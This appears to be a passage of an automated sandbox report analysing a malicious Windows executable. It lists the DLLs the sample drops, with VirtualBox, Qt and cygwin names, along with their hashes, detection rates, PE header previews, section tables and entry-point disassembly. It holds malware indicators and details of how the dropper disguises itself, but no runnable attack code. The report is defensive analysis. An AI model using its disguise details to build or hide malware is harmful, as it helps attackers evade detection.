SSDEEP:	98304:3KZ4GZa+FkF9cwOUtC2XRl/4reA4fSM4/mQrgPrcVZ821ZX6wKxys20MbKaY4NHO:6WdB6reA4fz2mQrgj+Jz5Ks5bX0f
MD5:	C1A90FA945AD6CED2104263762C7FCB4
SHA1:	9FB88668EB77F217A8C513AB8DAD78969CF68A5F
SHA-256:	61784B8AA2940DC231E8CBD955C5F313556B14EACB6B19699DA46A76FC496074
SHA-512:	47BB3640706FB5C990B0988D53E4DA70416426B85D058E2AEA1CDAD7ADF3F8FC9582C506135A996B700B25E15AE900A139F74A6EB0E2CEC35545CA843D761AD4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................L~..,....................@..........................p......5.....@.....................................^....P..........................(~.................................................. ................................text....K~......L~................. ..`.rdata.......`~......P~.............@..@.data....+...........d..............@....idata..^............p..............@....reloc..(~...........v..............@..B.symtab......@.........................B.rsrc........P... ..................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\Qt5GuiVBox.dll

Download File

Process:	C:\Users\user\Desktop\HLZwUhcJ28.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6860032
Entropy (8bit):	6.706300556505754
Encrypted:	false
SSDEEP:	49152:onEioloxnujFw81clK7uqtfMxzWHIbi/CCwjxpE4RFzwToN2BM7PV1HbSTiBAym2:OEiEZEqeHX/RFKociJYtl8vsOM04bm
MD5:	FDB292453760D9BC3CDD0B54013C6A99
SHA1:	30D27DA6EC867ED2B8A53384AC947B812D9D7CBD
SHA-256:	86F6A04FE611CA402D3C4841561F5B396CE61F0212BB6DA58C7274532E2CFD14
SHA-512:	ECA792CC814C0D072ECB866DA4A5AC41629758C91FAAC4CF3F5947191899919C72A1462CE97BC49382AFEF44780302F7AC3FB2052CFE0CDC8D2A3F390A870C66
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:
Reputation:	low
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........C...-..-..-....-..s...-.P.)..-.P....-.P.(..-.P.,..-...,..-...(..-...,..-..,...-...)..-...(...-...-..-......-....-.../..-.Rich..-.................PE..d.....l`.........." ......<...*......<.......................................g......ki...............................................H.p^...}a......pg.......c......f.......g.d2.. .C.T.....................C.(.....C.0.............<. +...........................text.....<.......<................. ..`.rdata....%...<...%...<.............@..@.data...X<....b......zb.............@....pdata.......c.......c.............@..@.rsrc........pg.......f.............@..@.reloc..d2....g..4....f.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\Qt5SqlVBox.dll

Download File

Process:	C:\Users\user\Desktop\HLZwUhcJ28.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	224032
Entropy (8bit):	6.519383044005073
Encrypted:	false
SSDEEP:	3072:gFgYgUFb6RWyLGttBrz7UVCoAsoRrXaZqb/Lh9VEyIXveGtGgCUF:CgzU5lyWcCoKr9/LhrEyIXveGtGcF
MD5:	BBC454DFBD919CE1524E75478582C04D
SHA1:	4A331B6DC29C28A0D4FBEF90225448B88FD2A6FD
SHA-256:	EAA9EFDE1704FA6ABBEF9878EECFA386E89003F23E07ADCAF641A6C741893BA1
SHA-512:	0A41EDB08378C6930BB6D6D6E951D550129DCB07886CFC636E28903C32B8DFE49124CFFC852BC9F93058D3679C4F775D70E9F869760F82A5AF54D9DCB303A013
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: verification.b-cdn.net.ps1, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........5.[...[...[......[.~.Z...[...Z...[.~.^...[.~._...[.~.X...[.0.Z...[...Z...[.0.^...[.0.[...[.0....[......[.0.Y...[.Rich..[.........PE..d....l`.........." .........F......d........................................`......+{...............................................N...m..X...x....@...........'...... U...P..(...h...T.......................(.......0............................................text............................... ..`.rdata..2...........................@..@.data...............................@....pdata...'.......(..................@..@.rsrc........@......................@..@.reloc..(....P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\Security-Common.dll

Download File

Process:	C:\Users\user\Desktop\HLZwUhcJ28.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1223168
Entropy (8bit):	6.184837665736595
Encrypted:	false
SSDEEP:	12288:c2SL/WMO8k65sFAkOLCjpN/BYP2jJHs9T/+WWUOOnDPgXz3On6LXfu0ztGtdBBEE:ch7dk65IDBFO9T/dnDPV51X
MD5:	C5C4D6351AF07ABBAECE1A4AA03C21FC
SHA1:	0C08FF968AA41A5CC5AC5C70BC98448D8A7D9B2E
SHA-256:	3054976F132DDA71B964B9303757078BFB75E94F19A2D2100180B86A8263384C
SHA-512:	6283DDB41619CCA6CE6389896B045307FEB3051C9E0065FC0F68C02E9E88007E4B8E967AFBB873CBC02682ECA76988AEBA5DEFC9CD696EA58DAA3984B1BA0238
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....@.b.........." ..0.............N.... ........... ....................... .......&....`.....................................W.................................................................................... ............... ..H............text...T.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................0.......H.......`...............................................................I.......m...b...-...e. ..s...`.bj..$........:q.....H./..A-....!..Ox9hq.'.>..e.-gN&.e8b0.G.Q>.a?...1^.o.....7o...]j.?.e...=C....vHR.']&.=....o...3w..Y....k$3...Yo..(............F..(..;i..1..j.aL.j/....+..+.p.#.l.U.11...}....N,.%'.N.{De....o..z.].[ e=..F.W.3...0V.2..J..)...t..Qh...G..X......6&..LCn....$.1...J.li.?..dV.\.Vu..]<f>....O...CRmp.q&...P...4.R#...Iy.pR.A\.V.."E.Sf.~..n.......E}...

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\VBoxClient-x86.dll

Download File

Process:	C:\Users\user\Desktop\HLZwUhcJ28.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685224
Entropy (8bit):	5.879596760181968
Encrypted:	false
SSDEEP:	12288:BfWBgRdNVSnkjiLSRHhWsfl4GhW0TAZoq:BfWBgRdNUnkHWsfl4Gg0ED
MD5:	8499BCB782E639B57ABB8B503D410EB8
SHA1:	A4E3363A30C02FE999EEDFED50A8DD200F4C46C9
SHA-256:	84B47308ABC293515FA8B682D7EDE3A53FED426A7073CFEC466BCDE681DA715F
SHA-512:	344132B5148CE38174230EFB51B0AAA85709BBE2F34C09FF47E9390324EE1139423717CC461E7F276DB80FCB86A0509CA92CD84A18B7657D3DA65C8FE427FC39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:
Reputation:	low
Preview:	MZ..................0...@.......https://www.virtualbox.org/ ....VirtualBox executable built for NT or later...$.......!..L.!VBox6#.2rBkarBkarBka.0o`qBka.0j`zBka{:.avBka.7o`sBka.7j`pBka 7n`aBka 7o`xBka 7h`pBkarBja.Bka 7j`wBka.7n`iBka.7k`sBka.7.asBka.7i`sBkaRichrBka........PE..L....:.e.........."!................P?.......................................0......=H.....A............................................h................n.......7..,d..T............................d..@............................................text............................... ..`.rdata..............................@..@.data....)......."..................@....rsrc...h...........................@..@.reloc...7.......8..................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\VBoxProxyStub-x86.dll

Download File

Process:	C:\Users\user\Desktop\HLZwUhcJ28.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	682728
Entropy (8bit):	5.557949920752852
Encrypted:	false
SSDEEP:	6144:HzhEDInt1CqI2HVP5CkxQ+1QYCQkdJvdkjiLSRen4QI2QjWsfl4GZrWJ6TPRcoLZ:H1EPCSnkjiLSRHhWsfl4GhW0T+eZ
MD5:	6D3C7D2E108CBB7B5389F51FF68BCB9A
SHA1:	E47006DBD81B0AD005DFE95339BB54AC59B20F47
SHA-256:	53ED3512437FBEB4277C24790CE67DB048F81B60C3669765541495EF88056B88
SHA-512:	0B69C294C32BEFF25E91CCFC5FD3B26FF76E8A92B81B3F69FC0065AE6C8D8A676039303CC5195BFF1D71735A1AF97F920ED1A9911BCBCD27A7532F7539605FDF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ..................0...@.......https://www.virtualbox.org/ ....VirtualBox executable built for NT or later...$.......!..L.!VBoxan.P%...%...%....}..$....}../...,w..#....z..'...C`p.$...wz../...wz../...wz..&...%...M...wz..&....z..&....z..$....zr.$....z..$...Rich%...................PE..L....:.e.........."!.....t...........t.......................................@.............A.........................L.......M...........................n.......S...H..T...........................XH..@............................................text....n.......p.................. ..`.orpc...b............t.............. ..`.rdata..*............x..............@..@.data...4....`.......B..............@....rsrc...............................@..@.reloc...S.......T..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\cygwin1.dll

Download File

Process:	C:\Users\user\Desktop\HLZwUhcJ28.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1022005
Entropy (8bit):	7.935294887911351
Encrypted:	false
SSDEEP:	24576:YbYJZPZf7KMuiA7Q4lsXBmStxacrFhG+wTGiPoy1u7MHltI:YAZfmM/A7Uk6xhpmGkoy1u7MH0
MD5:	C50B50303FAE4AFE7248307339A00D13
SHA1:	1B4A3F7666172809BD0D88F793EE855BD4B92938
SHA-256:	712C39A069541AFA69CFCBE01B422BD67B4201EEE7E94CC1327D4ED8B4FA2167
SHA-512:	123D06A0A5F891851E372881860B9D7FB8C453DCDBBCA5970B9B2BF205F08F0A724595C6892F4AFBBB4F85292A886DDDFFBF0D36DFE18D4B6EEA7A5D12451762
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...p,ge..-........ ...).........`!..p0..p!.................................. 1...........@... ......................................0.......0.......0......0).....................................................................................................UPX0.....`!.............................UPX1.........p!.....................@....rsrc.........0.....................@...4.23.UPX!.$..."%h@.:..Z0.]...5.-.I+.}.[s.H.t$..\|$....L....I......I).I9.r..H....H.H.....&H.s..nR....H....(;N...$...^n....?...:....L...I....e.....v...:.h.......?.H%.....o.Q....~8..2.....@..m. H.<.H..:....n..3...~.....V...$.W........8A........:...n.D$(..L...+.Q$..x...E.g...8.f...?..:O..It/..T1.;f.?.x.@....<4.:D.L$8...^HU.PXO@0....M.t.A.@..N9.)}.\.......`E1.L.p...@Hh.$..>..oz..Q. R..v.y.x..^.L..xS .;pP.`.k....0.$.. .8..M.w...+....\|L.t\...6..w..A..z....t..... S...x...

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\libiconv-2.dll

Download File

Process:	C:\Users\user\Desktop\HLZwUhcJ28.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1118202
Entropy (8bit):	7.23134186093806
Encrypted:	false
SSDEEP:	24576:pqMOaBAUZLY3wPKo6VbbTiZGavkg3NyeuQ6l9fH+fXFJ:pD/BAUZLYgio6EZGaXBuQQ9eXFJ
MD5:	28C28885656C64FC5ED923CC97C77718
SHA1:	71F4B7E06010F8F4D975AD6E2C919B56801447F3
SHA-256:	967189ADFBC889FDE89AAFC867F7A1F02731F8592CF6FD5A4ACE1929213E2E13
SHA-512:	EAA8888FAA1C6E1A121061B4B110A49904E0553265EAF445E18C0BB283AD72774D25557A8E64648F69FB7822D6913924CB54BFE67A0DD2A8069701807F7BC488
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....e....8.....&"...*............0.....................................................`... ......................................0.......@..8....p......................................................@...(....................A...............................text...`...........................`..`.data........ ......................@....rdata..P....0......................@..@.pdata..............................@..@.xdata..............................@..@.bss......... ...........................edata.......0......................@..@.idata..8....@......................@....CRT....X....P......................@....tls.........`......................@....rsrc........p......................@..@.reloc..............................@..B................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\libidn2-0.dll

Download File

Process:	C:\Users\user\Desktop\HLZwUhcJ28.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	242965
Entropy (8bit):	6.116459167800282
Encrypted:	false
SSDEEP:	3072:iJ9OPigBoQtFsrSMM4Ma9NQo/SMGY0DsSxSmg109oQJuJf6PwZiPcsexTyBbD:IAZJtiGqNQoqlZQSxHg1KFYWktyBbD
MD5:	3F7F652DA15858368B346010B1655EBF
SHA1:	57BB9DF055AB11BA82BB9E5D9AA20CAC3AE4B242
SHA-256:	621F5BFC24CDAE8479A69B56DE530AB6CEE633352AE0BCE01885CC6B1ECA0371
SHA-512:	6C23B7F4899BFFECEA445AFD87ABAD98F19A5FC4E824E559ABBE0BA5CCDBA480555CE188AC966641B7718FD02B7705017E0E7FD161357066EAF9C06F6936D9BF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...M..e....w.....&"...*............0........................................ ......S.....`... ............................................................................................................. x..(.......................p............................text...............................`..`.data...`...........................@....rdata..0p... ...r..................@..@.pdata...............r..............@..@.xdata...............~..............@..@.bss.....................................edata..............................@..@.idata..............................@....CRT....X...........................@....tls................................@....reloc..............................@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\libintl-8.dll

Download File

Process:	C:\Users\user\Desktop\HLZwUhcJ28.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	188681
Entropy (8bit):	6.383613198945696
Encrypted:	false
SSDEEP:	3072:N0qJF6y6kvs/qVaN06ptuBJsbYOiR409srWXMYSbaFt+p/UzR83:NbF6Uvs/69qiG06K4baFtA/WR83
MD5:	E3F805C0B24A800C30A63E36E6153AD1
SHA1:	639F3F22B2A885335C8973D35B0923BE979B621F
SHA-256:	42A63CB4C3C28A683D9F6C3510DE5EC17849EB18C097FA02CD78AEB800BFF202
SHA-512:	7AA18D7160301D99F14BF9D53325D417199DA767B73586DCF366B740C1FF8411B98768EC1440D76C70E3DD2F103D7083FA0C211FD7B24ABEB06B30D67AD9EA72
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...L.e....k.....&"...............0.......... .............................P.......X....`... ......................................................0.......................@..l...........................`...(.......................(............................text...............................`..`.data...@....0......................@....rdata..Pg...@...h..................@..@.pdata..............................@..@.xdata..\|...........................@..@.bss....`................................edata..............................@..@.idata..............................@....CRT....X...........................@....tls......... ......................@....rsrc........0......................@..@.reloc..l....@......................@..B................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\liblibimhex.dll.a

Download File

Process:	C:\Users\user\Desktop\HLZwUhcJ28.exe
File Type:	current ar archive
Category:	dropped
Size (bytes):	2637314
Entropy (8bit):	5.351710573742669
Encrypted:	false
SSDEEP:	6144:fi3OqSECXKPkKDxEpvsd7sXdxHYw651Itb9ic+GZBke1m/hKSBXq+7mo+C8wWC1f:fiMECXrKDxEqdHIO8wbpcg
MD5:	998EAE6672A406B75BF6F00B932D6441
SHA1:	462D238E306474068E4ABFED0F7F952DC6098BB3
SHA-256:	5C23768BDA74BDF8B2775166D5AD9BBF603EF864DFF58F7B091B15420A2187C1
SHA-512:	AC70CCFD714C5575C36E05004A718C065B36E98054C4A7E5BF76EDEEA09A1D2E1272F3BCBB6B15C19D36165F1B06172FDE6F569A323F5278728F44C2759580F0
Malicious:	false
Preview:	!<arch>./ 0 0 0 0 1114338 `...D....&...........t.......\.......L.......F.......X.......V.......J.......6.......&...........................b.......>.......$...........n.......F.......$...................h.......@...................t.......V.......@.......0...................f.......D...... &.. ...!...!n..!..."H.."...#<..#...$...$...%...%...%...&t..&...'...(...(...(...)r..)...`.....+<..+...,0..,...-...-........p....../T../...0@..0...1"..1...2...2v..2...3n..3...4T..4...5>..5...6 ..6...7...7r..7...8^..8...9@..9...:"..:...;...;...;...<r..<...=b..=...>F..>...?$..?...@...@...@...Al..A...BR..B...C0..C...D...D...E...Ev..E...Fb..F...GJ..G...H...H...I...I\|..I...JZ..J...KB..K...L..L...M...Mz..M...Nb..N...ON..O...P2..P...Q"..Q...R...R...R...Sf..S...TN..T...UP..U...VB..V...W...W...X...X...Y...Y...Y...Zf..Z...[J..[...\...\...]...]...]...^h..^..._V.._...`F..`...a&..a...b...b...b...cj..c...d\..d...e<..e...f..f...g...g...h...h~..h...ih..i...jH..j...k$..k...l.

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\liblibpl.dll.a

Download File

Process:	C:\Users\user\Desktop\HLZwUhcJ28.exe
File Type:	current ar archive
Category:	dropped
Size (bytes):	711720
Entropy (8bit):	5.314764071074336
Encrypted:	false
SSDEEP:	6144:wLF1kUfJqfkCq2lJs1709WW53UfevMwBsFiJ4ZRKfwq3SLclVG5S6xeTbi+V9ykx:uXkUfJqfkCB+3DMD8n0
MD5:	773D20B0FAA71528D04FCF9BA6196A44
SHA1:	5B29CBCB56B873E630C0D5304836913E467F2D33
SHA-256:	0AF3025B2F13EA825E2EEA6E69EFC6EB68A78FC09387CA75E54083C0E6580CEB
SHA-512:	3EBBB60C36E5C07CA9C9D20CF74D85E7B1B3D59428328DBAECFE4AE4FF394284978050946848E393D766AAD7261EBABC47ED01767AEC3D91303FC18A9B9E2ADC
Malicious:	false
Preview:	!<arch>./ 0 0 0 0 346882 `.......KF..L...M...N...N...O(..O(..O...P...P...P...Q...Q...R~..R~..S...S...S...S...T...T...U...U...V>..V>..V...V...WJ..WJ..X...X...X...X...Y...Y...Y...Y...Z...Z...Z...Z...[...[...\...\...\\|..\\|..\...\...]l..]l..]...]...^X..^...^..._..._...`V..`V..a...a...b$..b$..b...b...c>..c>..c...c...dV..dV..d...d...en..en..e...e...f...f...g...g...g...g...h..h..h...h...iB..iB..i...i...jZ..jZ..j...j...kx..kx..k...k...l...l...mh..mh..n...n...n...n...o...o...pD..pD..q...q...q...q...rj..rj..sJ..sJ..t...t...t...t...t...t...u...u...v(..v(..v...v...w`..w`..w...w...x...x...y4..y4..y...y...zp..zp..{...{...{...{...\|:..\|:..\|...\|...}B..}B..}...}...~J..~J..~...~....T...T...........`...`...H...H...................f...f...................d...d...........p...p...........n...n...&...&..........................."..."...........................................L...L...2...2...........................................2...2..............................

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\qsqlite.dll

Download File

Process:	C:\Users\user\Desktop\HLZwUhcJ28.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1444360
Entropy (8bit):	6.596995002582352
Encrypted:	false
SSDEEP:	24576:xtBluVgsasJjDWXpobeA9QQ4XpuEgVDEPNJDTow+a9N61fxA:xtBlufas1D5eQaXLn+a9N6E
MD5:	51B250D1B96BDE5CCEC152C11667692B
SHA1:	C12D436BB7F9D5F4449633300994D8EBEB20F8B0
SHA-256:	F6B6F1161F924F997C186C78D6CAB6EC0DE0D06EA7B56E4876D02FBE8B4DCB32
SHA-512:	4FD631053DEAC5C436A343416AE869397CDEA0F124EB08B2C5099DB55DBD1C45E36B4BBFAEA4A2D986F186B80E357DD0AB9EAC5562A133BB3193B137771F092D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Jo/...A...A...A..v...A..a@...A.Uf@...A..aD...A..aE...A..aB...A..~@...A...@.9.A..~E...A..~D...A..~A...A..~....A..~C...A.Rich..A.................PE..d...:.l`.........." ................x...............................................P...............................................P..t..............@............p..............X!..T...................."..(....!..0............................................text...K........................... ..`.rdata..V`.......b..................@..@.data....V...p...L...N..............@....pdata..............................@..@.qtmetadf............^..............@..P.rsrc...@............`..............@..@.reloc...............d..............@..B........................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.989386971657968
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	HLZwUhcJ28.exe
File size:	13'706'949 bytes
MD5:	b736da6a81e01bebfdd469d26785e13c
SHA1:	e82d651e62747674fd6c8bfeb2ebdb569f572c9f
SHA256:	4b93cf26d6e6c52e332e084f0940c5e687a91b08e66ee822aae302d1b1f3c014
SHA512:	254bfdb89b477cea6f3edb5c1635b4bf5992a64abc1454627da26420a4dff26f61c7397ab8dfbfa002d4f53e0b07956f0319176bcc26d7eafa0e4ea6c31e0f69
SSDEEP:	393216:xa8RFy/nyLknMNJsywsseZIX2MURx3cor8:xBRFYnaBwvemGRvXr8
TLSH:	7BD6334B9ED400AAC429BCB595317431F5333C41D7509FAE13BEBA261AE3F586D6E20E
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........B#..,p..,p..,p.:.p..,p.:.p5.,p.:.p..,p<..p..,p<.(q..,p<./q..,p<.)q..,p...p..,p...p..,p...p..,p..-p..,p2.)q..,p2.,q..,p2..p..,

File Icon


Icon Hash:	070c1c3d5ccf4f38

Static PE Info

General

Entrypoint:	0x1400266b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6640972B [Sun May 12 10:17:15 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	e8a30656287fe831c9782204ed10cd68

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FD8F955B248h
dec eax
add esp, 28h
jmp 00007FD8F955ABDFh
int3
int3
dec eax
mov eax, esp
dec eax
mov dword ptr [eax+08h], ebx
dec eax
mov dword ptr [eax+10h], ebp
dec eax
mov dword ptr [eax+18h], esi
dec eax
mov dword ptr [eax+20h], edi
inc ecx
push esi
dec eax
sub esp, 20h
dec ebp
mov edx, dword ptr [ecx+38h]
dec eax
mov esi, edx
dec ebp
mov esi, eax
dec eax
mov ebp, ecx
dec ecx
mov edx, ecx
dec eax
mov ecx, esi
dec ecx
mov edi, ecx
inc ecx
mov ebx, dword ptr [edx]
dec eax
shl ebx, 04h
dec ecx
add ebx, edx
dec esp
lea eax, dword ptr [ebx+04h]
call 00007FD8F955A1A3h
mov eax, dword ptr [ebp+04h]
and al, 66h
neg al
mov eax, 00000001h
sbb edx, edx
neg edx
add edx, eax
test dword ptr [ebx+04h], edx
je 00007FD8F955AD73h
dec esp
mov ecx, edi
dec ebp
mov eax, esi
dec eax
mov edx, esi
dec eax
mov ecx, ebp
call 00007FD8F955CA33h
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov ebp, dword ptr [esp+38h]
dec eax
mov esi, dword ptr [esp+40h]
dec eax
mov edi, dword ptr [esp+48h]
dec eax
add esp, 20h
inc ecx
pop esi
ret
int3
int3
int3
dec eax
sub esp, 48h
dec eax
lea ecx, dword ptr [esp+20h]
call 00007FD8F9559C73h
dec eax
lea edx, dword ptr [00023B67h]
dec eax
lea ecx, dword ptr [esp+20h]
call 00007FD8F955BE42h
int3
jmp 00007FD8F9561C10h
int3
int3
int3
int3
int3
int3

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x4b1e0	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4b214	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x71000	0x1f964	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x6c000	0x2ab4	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x91000	0x938	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x460e0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x46180	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3de10	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3b000	0x4a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x4a4ac	0x100	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x398ce	0x39a00	43edabbddfa6948cff2e968fd336a07d	False	0.5457226138828634	data	6.465308419785883	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x3b000	0x1118c	0x11200	53297ea4f69cf70feab0538ecef732e2	False	0.44722285583941607	data	5.215657068009717	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4d000	0x1ef5c	0x1a00	08eb45cbc6a0e70bd1c0a96a66c4a6d0	False	0.2765925480769231	DOS executable (block device driver o\3050)	3.1766622656728773	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x6c000	0x2ab4	0x2c00	703496d6ceba70b1fe234ccc9c454141	False	0.4807350852272727	data	5.409685184469512	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.didat	0x6f000	0x308	0x400	c445681068e68e0f8df59c5ea517c5e5	False	0.2421875	data	2.786346435110699	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
_RDATA	0x70000	0x15c	0x200	b999e3f72a9a42ebb4d9b8fafa0a18e7	False	0.40625	data	3.3314534700182197	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x71000	0x1f964	0x1fa00	e91f632c67ce39b29c85915cd0a6bd9f	False	0.23395040760869565	data	4.816361806689922	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x91000	0x938	0xa00	c057cd0b29d094da3cebf433be170d6d	False	0.498828125	data	5.228587706357198	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x71644	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	English	United States	1.0027729636048528
PNG	0x7218c	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	English	United States	0.9363390441839495
RT_ICON	0x73738	0x2655	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9913380209925609
RT_ICON	0x75d90	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 3779 x 3779 px/m			0.0588844197326393
RT_ICON	0x865b8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 3779 x 3779 px/m			0.1115375531412376
RT_ICON	0x8a7e0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m			0.15020746887966804
RT_ICON	0x8cd88	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m			0.2223264540337711
RT_ICON	0x8de30	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m			0.45478723404255317
RT_DIALOG	0x8e298	0x286	data	English	United States	0.5092879256965944
RT_DIALOG	0x8e520	0x13a	data	English	United States	0.60828025477707
RT_DIALOG	0x8e65c	0xec	data	English	United States	0.6991525423728814
RT_DIALOG	0x8e748	0x12e	data	English	United States	0.5927152317880795
RT_DIALOG	0x8e878	0x338	data	English	United States	0.45145631067961167
RT_DIALOG	0x8ebb0	0x252	data	English	United States	0.5757575757575758
RT_STRING	0x8ee04	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0x8efe8	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0x8f1b4	0x1b8	data	English	United States	0.45681818181818185
RT_STRING	0x8f36c	0x146	data	English	United States	0.5153374233128835
